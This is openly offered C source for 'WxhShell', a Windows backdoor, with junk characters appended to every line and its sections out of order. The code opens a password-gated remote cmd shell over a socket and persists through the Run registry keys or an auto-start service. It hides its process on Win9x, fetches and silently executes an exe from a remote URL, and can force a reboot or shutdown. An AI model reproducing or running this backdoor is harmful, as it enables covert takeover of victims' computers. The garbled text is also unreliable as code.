    if(Boot(SHUTDOWN)) Y f1?3 (0O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >o.4sN@  
    else { 5LR k)@t  
    closesocket(wsh); umI@ej+D  
    ExitThread(0); u{J$]%C   
    } F8nR.|  
    break; *y0TtEd;  
    } 05Ak[OOU>  
  // 获取shell #mFIZMTRd  
  case 's': { 1GE[*$vuq  
    CmdShell(wsh); K9]L>Wj  
    closesocket(wsh); tw,uV)xm  
    ExitThread(0); FG/1!8F  
    break; ka0MuQ M  
  } uWkW T.>$  
  // 退出 !ap}+_IA7^  
  case 'x': { Ejmpg_kux  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]De<'x}  
    CloseIt(wsh); XkDIP4v%  
    break; I|(r1.[K  
    } "\3C)Nz?  
  // 离开 p C^d-Ii  
  case 'q': { MaN6bM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3s;^p,9 Y  
    closesocket(wsh); s+DOr$\  
    WSACleanup(); 50 8v:?^'  
    exit(1); <- L}N '  
    break; ~wvu7  
        } 6/6M.p  
  } g%TOYZr!X  
  } BlnR{Y  
{u~JR(C:  
  // 提示信息 ]lqLC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9(6f:D  
} 3N257]  
  } VYbH:4K@%  
^,}1^?*  
  return; zcGmru|k  
} TophV}@B`  
zncKd{Q\tP  
// shell模块句柄 _0}u0fk  
int CmdShell(SOCKET sock) Ogv9_ X8  
{ >e>%AMzo[  
STARTUPINFO si; m~04I~8vk  
ZeroMemory(&si,sizeof(si)); ia@ |+r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z-:T')#Cf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @CMEmgk~  
PROCESS_INFORMATION ProcessInfo; "zj[v1K9-A  
char cmdline[]="cmd"; > 9.%hSy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V_zU?}lZ^  
  return 0; V/`vX;%  
} jh(T?t$&  
Uo?4o*}  
// 自身启动模式 qF\w#nG  
int StartFromService(void) /z! Tgs4  
{ dIW@L  
typedef struct Q p7h|<  
{ 1J([*)  
  DWORD ExitStatus; =WT&unw}  
  DWORD PebBaseAddress; o%7-<\qS  
  DWORD AffinityMask; fqjBor}  
  DWORD BasePriority; Me79:+d  
  ULONG UniqueProcessId; S4\a"WYg  
  ULONG InheritedFromUniqueProcessId; 1*" 7q9x  
}   PROCESS_BASIC_INFORMATION; F/x2}'  
4O<sE@X  
PROCNTQSIP NtQueryInformationProcess; JR8|!Of@B  
'i',M+0>jC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S /"G=^~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7r&lW<:>  
{xx}xib3  
  HANDLE             hProcess; "}MP{/  
  PROCESS_BASIC_INFORMATION pbi; v*[UG^+)  
47N,jVt4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _K}q%In  
  if(NULL == hInst ) return 0; nrHC;R.nE  
`WIZY33V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); , # =TputM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s_  t/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C~egF=w  
? X6M8`  
  if (!NtQueryInformationProcess) return 0; yDfH`]i)U  
?7}ybw3t]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D=Q.Q  
  if(!hProcess) return 0; >$7x]f  
FQJiLb._Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %N)B8A9kh  
To}eJ$8*5  
  CloseHandle(hProcess); SIapY%)h  
EB| iW2'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dP?prT  
if(hProcess==NULL) return 0; K[kK8i+(  
 QEg[  
HMODULE hMod; oUwo!n}  
char procName[255]; 3CgID6[Sy  
unsigned long cbNeeded; <o/!M6^:  
b"uO BB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 10fxK  
d7Vp^^}(  
  CloseHandle(hProcess); 1~t.2eUG  
]XU4nNi  
if(strstr(procName,"services")) return 1; // 以服务启动 8T1zL.u>q  
VcGl8~#9  
  return 0; // 注册表启动 >ei~:z]R  
} >MJ#|vO  
G&xtL  
// 主模块 Pr1q X5>=  
int StartWxhshell(LPSTR lpCmdLine) _aR{B-E  
{ T? Kh '  
  SOCKET wsl; 1^LdYO?g'  
BOOL val=TRUE; ("\{=XA Q  
  int port=0; Ie(i1?`A8  
  struct sockaddr_in door; &nDXn|  
]f#s`.A~  
  if(wscfg.ws_autoins) Install(); L/ Q[N^ (^  
o!:Z?.!  
port=atoi(lpCmdLine); 1l$2T y+ =  
0u1ZU4+EC  
if(port<=0) port=wscfg.ws_port; QuqznYSY{  
dpTsTU!\  
  WSADATA data; arDl2T,igF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g!R7CRt%  
GQ;0KIN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n1J u =C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kh9'W<tE  
  door.sin_family = AF_INET; u Jqv@GFv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &EqLF  
  door.sin_port = htons(port); PFuhvw~?  
nm@ h5ON_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z3y{0<3  
closesocket(wsl); iP0m1  
return 1; N2O *g`YC  
} r5DR F4,7  
Ec!!9dgRQ  
  if(listen(wsl,2) == INVALID_SOCKET) { S7)qq  
closesocket(wsl); U3X5tED  
return 1; \rF S^#  
} W w,\s5Uw  
  Wxhshell(wsl); }9+;-*m/  
  WSACleanup(); ,U3  
N$6e KJ]  
return 0; Yy88 5  
;.V/ngaj  
} .JPN';  
IplOXD  
// 以NT服务方式启动 3Do0?~n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >x{("``D0y  
{ )GkJ%o#H2  
DWORD   status = 0; T9 /;$6s*  
  DWORD   specificError = 0xfffffff; f^FFn32u  
7pm'b,J<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r }lGcG)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N[p o)}hp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k5I;Y:~`  
  serviceStatus.dwWin32ExitCode     = 0; [3jJQ3O,  
  serviceStatus.dwServiceSpecificExitCode = 0; $AZYY\1  
  serviceStatus.dwCheckPoint       = 0; g}NO$?ndg  
  serviceStatus.dwWaitHint       = 0; %"0,o$  
xj3 qOx$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o/w3b 8  
  if (hServiceStatusHandle==0) return; 6;Z -Y>\c  
%rylmioW>  
status = GetLastError(); ]xQv\u  
  if (status!=NO_ERROR) _ocCt XI9  
{ UJL2IF-x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;=y"Z^  
    serviceStatus.dwCheckPoint       = 0; :j]1wp+  
    serviceStatus.dwWaitHint       = 0; C(ij_>  
    serviceStatus.dwWin32ExitCode     = status; E`.xu>Yyj  
    serviceStatus.dwServiceSpecificExitCode = specificError; s*k)h,\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2#>;cn\  
    return; hZx&j{  
  } |}z)>E  
2aj1IBnz6/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8:$h&aBI  
  serviceStatus.dwCheckPoint       = 0; t(u2%R4<d  
  serviceStatus.dwWaitHint       = 0; =]%JTGdp(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vN Bg&m  
} |NuMDVd+s  
pR61bl)  
// 处理NT服务事件,比如:启动、停止 wtw=RA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w"v!+~/9  
{  r{;NGQYs  
switch(fdwControl) yp#!$+a}  
{ PMfW;%I.  
case SERVICE_CONTROL_STOP: 4yyw:"  
  serviceStatus.dwWin32ExitCode = 0; ?{ N,&d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nGH6D2!F  
  serviceStatus.dwCheckPoint   = 0; N&HI)X2&  
  serviceStatus.dwWaitHint     = 0; >v]^nJl  
  { iH8we,s'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wXIRn?z  
  } B*T n@t W  
  return; )[ V8YiyU  
case SERVICE_CONTROL_PAUSE: 2? qC8eC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $aV62uNf  
  break; V|8'3=Z=  
case SERVICE_CONTROL_CONTINUE: UxGu1a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (BEe^]f  
  break; O] @E8<?^  
case SERVICE_CONTROL_INTERROGATE: j'D%eQI,V  
  break; WXy8<?s  
}; ~*HQPp?v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w"j>^#8  
} 8A#,*@V[  
~CNB3r5R  
// 标准应用程序主函数 MgXZN{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Tn&_ >R  
{ #`VAw ) eV  
;z'&$#pA  
// 获取操作系统版本 8ymdg\I+L  
OsIsNt=GetOsVer(); BJjic%V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,"EaZ/Bl/  
2lTt  
  // 从命令行安装 }J#HIE\RG  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]l,D,d81  
"^#O7.oVi+  
  // 下载执行文件 " `qk}n-  
if(wscfg.ws_downexe) { l77 -I:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =A'>1N  
  WinExec(wscfg.ws_filenam,SW_HIDE); b j&!$')  
} 2FMmANH0ev  
riIubX#  
if(!OsIsNt) { 0~U#DTx0  
// 如果时win9x,隐藏进程并且设置为注册表启动 \D@j`o  
HideProc(); Z[#8F&QV!m  
StartWxhshell(lpCmdLine); Z)7{~xq  
} &qx/ZT  
else 9hzu!}~'I  
  if(StartFromService()) Nf| 0O\+%y  
  // 以服务方式启动 9^a|yyzL  
  StartServiceCtrlDispatcher(DispatchTable); Jh-yIk  
else E=I'$*C \D  
  // 普通方式启动 ]3 "0#Y  
  StartWxhshell(lpCmdLine); &W\e 5X<A  
LeCc`x,5  
return 0; rS [4Pey  
} Y/sav;  
'gY?=,dF>  
SY,ns*>1F  
RdX+:!lD  
=========================================== tK3$,9+  
2+&;jgBP  
xm{?h,U,  
P.Nt jz/B  
5gf ~/Zr  
|Yli~Qx  
" C?H~L  
TCp9C1Q4  
#include <stdio.h> <Y`(J#  
#include <string.h> A|"T8KSMB  
#include <windows.h> v?He]e'  
#include <winsock2.h> jkk%zu  
#include <winsvc.h> zZMKgFR@  
#include <urlmon.h> (dg,w*t'  
<WUgH6"  
#pragma comment (lib, "Ws2_32.lib") PhAfEsD  
#pragma comment (lib, "urlmon.lib") jRsl/dmy  
K@p9_K8  
#define MAX_USER   100 // 最大客户端连接数 T6/P54S  
#define BUF_SOCK   200 // sock buffer U6-47m0%  
#define KEY_BUFF   255 // 输入 buffer Mi.#x_  
;` L%^WZ;-  
#define REBOOT     0   // 重启 k+"];  
#define SHUTDOWN   1   // 关机 v~OMm \  
;r@=[h   
#define DEF_PORT   5000 // 监听端口 7&id(&y/  
,1I-%6L  
#define REG_LEN     16   // 注册表键长度 {iyJ HY  
#define SVC_LEN     80   // NT服务名长度 LVUA"'6V  
`+Nv =vk  
// 从dll定义API X!|eRA~o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r5gqRh}+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6$OmOCA%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UlWmf{1%]?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >,,`7%Rv  
]WNY"B>+  
// wxhshell配置信息 jG ouwta  
struct WSCFG { ~C{:G;Iy0  
  int ws_port;         // 监听端口 VP!4Nob  
  char ws_passstr[REG_LEN]; // 口令 ,#XXwm ^I  
  int ws_autoins;       // 安装标记, 1=yes 0=no >$ZhhM/} J  
  char ws_regname[REG_LEN]; // 注册表键名 Tv#d>ZSD  
  char ws_svcname[REG_LEN]; // 服务名 ZY<R Nwu  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jTS8 qu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k;cIEEdZD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iY>P7Uvvz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k9eyl)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?$`kT..j,u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \dQc!)&C9  
Yz;7g8HI  
}; @:im/SE  
53hX%{3  
// default Wxhshell configuration &B5&:ib1D  
struct WSCFG wscfg={DEF_PORT, Z,p@toj'  
    "xuhuanlingzhe", d%I7OBBx@  
    1, o~'p&f  
    "Wxhshell", ^Zvb3RJg  
    "Wxhshell", GLIY!BU<C  
            "WxhShell Service", )&E]   
    "Wrsky Windows CmdShell Service",  3*Q=)}  
    "Please Input Your Password: ", yMdu Zmkc  
  1, dA~_[x:Z  
  "http://www.wrsky.com/wxhshell.exe", r\QV%09R  
  "Wxhshell.exe" aEzf*a|fSV  
    }; or#] ![7N  
l[~$9C'ji  
// 消息定义模块 @|cHDltH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E-1u_7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z;N3mD+\ye  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .RmFYV0,  
char *msg_ws_ext="\n\rExit."; sf$hsPC^  
char *msg_ws_end="\n\rQuit."; 6*B%3\z)  
char *msg_ws_boot="\n\rReboot..."; GPni%P#a@0  
char *msg_ws_poff="\n\rShutdown..."; ts<\n-f  
char *msg_ws_down="\n\rSave to "; rV\G/)xL  
}8AH/  
char *msg_ws_err="\n\rErr!"; kxJs4BY0  
char *msg_ws_ok="\n\rOK!"; 0e&&k  
5=*i!c _m  
char ExeFile[MAX_PATH]; <#8}![3Q  
int nUser = 0; <}RD]Sc$1  
HANDLE handles[MAX_USER]; HY_>sD  
int OsIsNt; -'O|D}  
\A^8KVE!  
SERVICE_STATUS       serviceStatus; (Zx--2lc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _8r'R  
q{V e%8$"  
// 函数声明 /t`|3Mw  
int Install(void); e<uf)K=(C  
int Uninstall(void); /&\ V6=jA1  
int DownloadFile(char *sURL, SOCKET wsh); Pm#/j;  
int Boot(int flag); )a0l:jEOc  
void HideProc(void); -J=6)  
int GetOsVer(void); r]-n,  
int Wxhshell(SOCKET wsl); Ae=JG8Ht~  
void TalkWithClient(void *cs); hlre eXv  
int CmdShell(SOCKET sock); <V)z{uK  
int StartFromService(void); NA$)qX_  
int StartWxhshell(LPSTR lpCmdLine); u`wD6&y*  
{ k=3OIp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KaMg [ G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )-"<19eu  
4r83;3WXs  
// 数据结构和表定义 P0; y  
SERVICE_TABLE_ENTRY DispatchTable[] = X2I_,k'fQ  
{ j=U"t\{  
{wscfg.ws_svcname, NTServiceMain}, FO>!T@0G  
{NULL, NULL} =}tomN(F~[  
}; N"<.v6Z  
E,\)tZ;,  
// 自我安装 S]=.p-Am  
int Install(void) S0OL;[*.  
{ ZD]{HxGL!  
  char svExeFile[MAX_PATH]; U:99w  
  HKEY key; Y5 ;a  
  strcpy(svExeFile,ExeFile); k?HdW(HA  
q|%+?j(  
// 如果是win9x系统,修改注册表设为自启动 J<H]vs  
if(!OsIsNt) { l?IeZisX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #-Mr3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wm"q8-<<  
  RegCloseKey(key); qi~-<qW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [(g2u@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2.</n}g  
  RegCloseKey(key); zOA~<fhT  
  return 0; Uc_ }="  
    } g$2#TWW5  
  } [;aM8N  
} /2d>nj  
else { 1P"{TMd?  
QKEtV  
// 如果是NT以上系统,安装为系统服务 T^MY w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wbOYtN Y@  
if (schSCManager!=0) !w UznyYwt  
{ '/XP4B\(E  
  SC_HANDLE schService = CreateService .|u`s,\  
  ( Lp"OXJ*es  
  schSCManager, IO&U=-pn&  
  wscfg.ws_svcname, 9i 9 ,X^=  
  wscfg.ws_svcdisp, %'g)MK!e  
  SERVICE_ALL_ACCESS, %Iflf]l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l'Za"TL:  
  SERVICE_AUTO_START, jmgkY)rb R  
  SERVICE_ERROR_NORMAL, )c*xKij  
  svExeFile, qT$IV\;_  
  NULL, GK-P6d  
  NULL, hC8WRxEGq  
  NULL, 8a@k6OZ  
  NULL, u4T$  
  NULL q9_AL8_  
  ); y5=,q]Qjk[  
  if (schService!=0) I6;6x  
  { yKrb GK*=_  
  CloseServiceHandle(schService); BI%~0 Gj8  
  CloseServiceHandle(schSCManager); fBZLWfp9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #?r|6<4X  
  strcat(svExeFile,wscfg.ws_svcname); ChUE,)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xx1lEcj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I+twI&GS  
  RegCloseKey(key); LHx ")H?,  
  return 0; 2!}F+^8'P  
    } ,6MJW#~]  
  } Hmm0H6&u  
  CloseServiceHandle(schSCManager); 'MX|=K!C  
} 0+qC_ISns  
} o:cTc:l)  
@,= pG  
return 1; cy(w*5Upu  
} {T^D&i# o  
bJ 6ivz  
// 自我卸载 Q5dqn"?  
int Uninstall(void) P-[})Z=  
{ !pRu?5  
  HKEY key; ?[bE/Ya+S  
NTX0vQG  
if(!OsIsNt) { kl~/tbf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yU/?4/G!  
  RegDeleteValue(key,wscfg.ws_regname); h*y+qk-!\g  
  RegCloseKey(key); $Yu'B_E6p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { glo G_*W  
  RegDeleteValue(key,wscfg.ws_regname); |uz<)  
  RegCloseKey(key); <Qv/# k  
  return 0; \reVA$M [  
  } 1E||ft-1i*  
} XRkUv>Yk  
} q,#s m'S  
else { G Wa6FX:/  
(||qFu9a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'ParMT  
if (schSCManager!=0) 8Uh|V&  
{ 6Hb a@Q1`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z__t8yc3  
  if (schService!=0) PN9vg9'  
  { a%HNz_ro  
  if(DeleteService(schService)!=0) { b"#S92R+  
  CloseServiceHandle(schService); s&o9LdL  
  CloseServiceHandle(schSCManager); Xl2g Hh  
  return 0; 3'6 UvAXFH  
  } w[l#0ZZ  
  CloseServiceHandle(schService); xc @$z* w  
  } d>I)_05t  
  CloseServiceHandle(schSCManager); NTZ3Np`  
} kq(><T  
} 2.Ww(`swL  
<G<5)$ S  
return 1; uSI@Cjp  
} Y R~e_cA:  
YWd2bRb  
// 从指定url下载文件 9?hF<}1XH}  
int DownloadFile(char *sURL, SOCKET wsh) v,Z]Vqk  
{ (ot56`,k  
  HRESULT hr; (t&`m[>K  
char seps[]= "/"; Z-ci[Zv  
char *token; O^./) #!#  
char *file; )S4ga  
char myURL[MAX_PATH]; O SUiS`k  
char myFILE[MAX_PATH]; k0\a7$}F  
1V[ZklS  
strcpy(myURL,sURL); saZK+kD4I  
  token=strtok(myURL,seps); q[P>s{"  
  while(token!=NULL) QaEiPn~  
  { A0A|cJP  
    file=token; sl$y&C-  
  token=strtok(NULL,seps); ^Lfwoy7R  
  } ZBY}Mz$  
[#\OCdb*3  
GetCurrentDirectory(MAX_PATH,myFILE); E$:2AK{*  
strcat(myFILE, "\\"); "WGKwi=W  
strcat(myFILE, file); la)+"uW  
  send(wsh,myFILE,strlen(myFILE),0); dn])6Xl;i  
send(wsh,"...",3,0); [3S17tTc3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yp=sL' E  
  if(hr==S_OK) h7K,q  S  
return 0; x4g6Qze  
else yyu-y0_  
return 1; $4ZV(j]  
By!u*vSev  
} FVP,$  
nXfz@q  
// 系统电源模块 O,^s)>c  
int Boot(int flag) Yyd}>+|<,  
{ !~F oy F  
  HANDLE hToken; S{2;PaK  
  TOKEN_PRIVILEGES tkp; u:(=gj,~x  
0^J%&1aIc  
  if(OsIsNt) { lQ ki58.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?RG;q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nSSJl  
    tkp.PrivilegeCount = 1; jZidT9[g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U)-aecB!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); avG#0AY  
if(flag==REBOOT) { \,p?pL<'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )q4nyT>M  
  return 0; >a2[P"   
} U{l f$  
else { I;_T_m4.q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \j)c?1*$  
  return 0; $$4flfx  
} Ym ]g0a  
  } &e).l<B  
  else { buzpmRoN)  
if(flag==REBOOT) { 'CqAjlj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k)F!gV#  
  return 0; Dn#5H{D-d  
} 6-?/kY6  
else { n@bkZ/G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +J|LfXgB  
  return 0; W}D[9zo/  
} Jr2>D=  
} @g#| srYD  
"tk1W>liIN  
return 1; U$a)lcJd  
} ';v2ld 9  
cJwe4c6.m  
// win9x进程隐藏模块 I hSXU<]  
void HideProc(void) PPpaH!(D  
{ k"BM1-f  
5)k/ 4l '  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L!/{Z  
  if ( hKernel != NULL ) [.$%ti*!  
  { {#z47Rz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u|ihUE!h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 32J/   
    FreeLibrary(hKernel); <daH0l0  
  } ?_uan  
$E:z*~ ?  
return; ^Vh^Z)gGi  
}  %O(W;O  
*n@rPr-  
// 获取操作系统版本 E:\#Ur2  
int GetOsVer(void) SU7,uxF  
{ qB$QC  
  OSVERSIONINFO winfo; |4aU&OX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BgCEv"G5  
  GetVersionEx(&winfo); '{JMWNY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {}" <  
  return 1; #gf0*:p  
  else oM#+Z qP  
  return 0; u,YmCEd_V  
} 8h}1t4k  
`N}'5{I  
// 客户端句柄模块 #>5T,[{?j  
int Wxhshell(SOCKET wsl) 4_CXs.v1  
{ 6+>X`k%D  
  SOCKET wsh; |P9)*~\5  
  struct sockaddr_in client; @frV:%  
  DWORD myID; Opy{i#>  
)&)tX.  
  while(nUser<MAX_USER) W Kd:O)J  
{ jM{5nRQ  
  int nSize=sizeof(client); 4|eI_u{_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @Y9tkJIt  
  if(wsh==INVALID_SOCKET) return 1; -=1>t3~\  
cUi6 On1C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hG9Mp!d91  
if(handles[nUser]==0) vHPsHy7y  
  closesocket(wsh); KUq(&H7  
else ^\VVx:]  
  nUser++; ]nxSVKE4p  
  } XK0lv8(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?LvxEQ-g  
TPN1Rnt0`  
  return 0; [*ug:PG  
} \Q?#^<O  
Y|-&=  
// 关闭 socket 8k Sb92  
void CloseIt(SOCKET wsh) /(s N@kt  
{ w);Bet  
closesocket(wsh); v&66F`  
nUser--; J6zU#  
ExitThread(0); ?%Pi#%P  
} vhU $GG8  
Q?Xqf7y  
// 客户端请求句柄 -3y $j+  
void TalkWithClient(void *cs) 01%0u8U  
{ 3Z}m5f`t  
mI;\ UOh'  
  SOCKET wsh=(SOCKET)cs; NeewV=[%  
  char pwd[SVC_LEN]; (I1^nrDP.  
  char cmd[KEY_BUFF]; H,!yG5yF  
char chr[1]; K1- 3!G  
int i,j; sa"!ckh  
Ob|tA  
  while (nUser < MAX_USER) { xCu\jc)2  
~!Rf5QA85  
if(wscfg.ws_passstr) { b|.<rV'BTt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B-$ps=G+z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }qhND-9#@  
  //ZeroMemory(pwd,KEY_BUFF); ZzT"u1,&  
      i=0; \&v)#w  
  while(i<SVC_LEN) { "t>H B6^  
+5Y;JL<%/  
  // 设置超时 >+[{m<Eq  
  fd_set FdRead; ge{%B~x  
  struct timeval TimeOut; $cO-+Mr-~  
  FD_ZERO(&FdRead); Gx%f&H~Z^  
  FD_SET(wsh,&FdRead); ch/DBu  
  TimeOut.tv_sec=8; O3p<7`K<4  
  TimeOut.tv_usec=0; -}>H3hr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); > mP([]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AD'c#CT  
6ZC~q=my  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \%#luk@:  
  pwd=chr[0]; Oh7wyQiV  
  if(chr[0]==0xd || chr[0]==0xa) { Gfle"_4m8  
  pwd=0; !@)tkhP  
  break; drB$q [Ak9  
  } X'7MW? q@  
  i++; Q6PMRG}/o  
    } 3+vMi[YO  
h& Ezhv2  
  // 如果是非法用户,关闭 socket <ZoMKUuB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^%33&<mB}  
} }~ga86:n0  
#4& <d.aw'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^QTkre  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zgSv -h+f  
`S]DHxS  
while(1) { B!1L W4^  
vPu {xy  
  ZeroMemory(cmd,KEY_BUFF); _&$nJu  
MBFn s/  
      // 自动支持客户端 telnet标准   }Szs9-Wns  
  j=0; tHH @[E+h  
  while(j<KEY_BUFF) { t)l^$j !h@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); chU,));F  
  cmd[j]=chr[0]; ru*}lDJ  
  if(chr[0]==0xa || chr[0]==0xd) { ]~'pYOB  
  cmd[j]=0; -$f$z(h  
  break; G>+iisb%  
  }  11-?M  
  j++; !4+@b s  
    } {MmK:C  
S\A9r!2  
  // 下载文件 xcXnd"YYE  
  if(strstr(cmd,"http://")) { 9P-I)ZqL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kO8oH8Vt  
  if(DownloadFile(cmd,wsh)) 2D{`AJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y:5Gp8Vi  
  else ,k6V?{ZA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #Gu(h(Z s  
  } _I #a `G  
  else {  \.MPjD  
]Cc8[ZC  
    switch(cmd[0]) { od]1:8OF  
  x^!LA,`j  
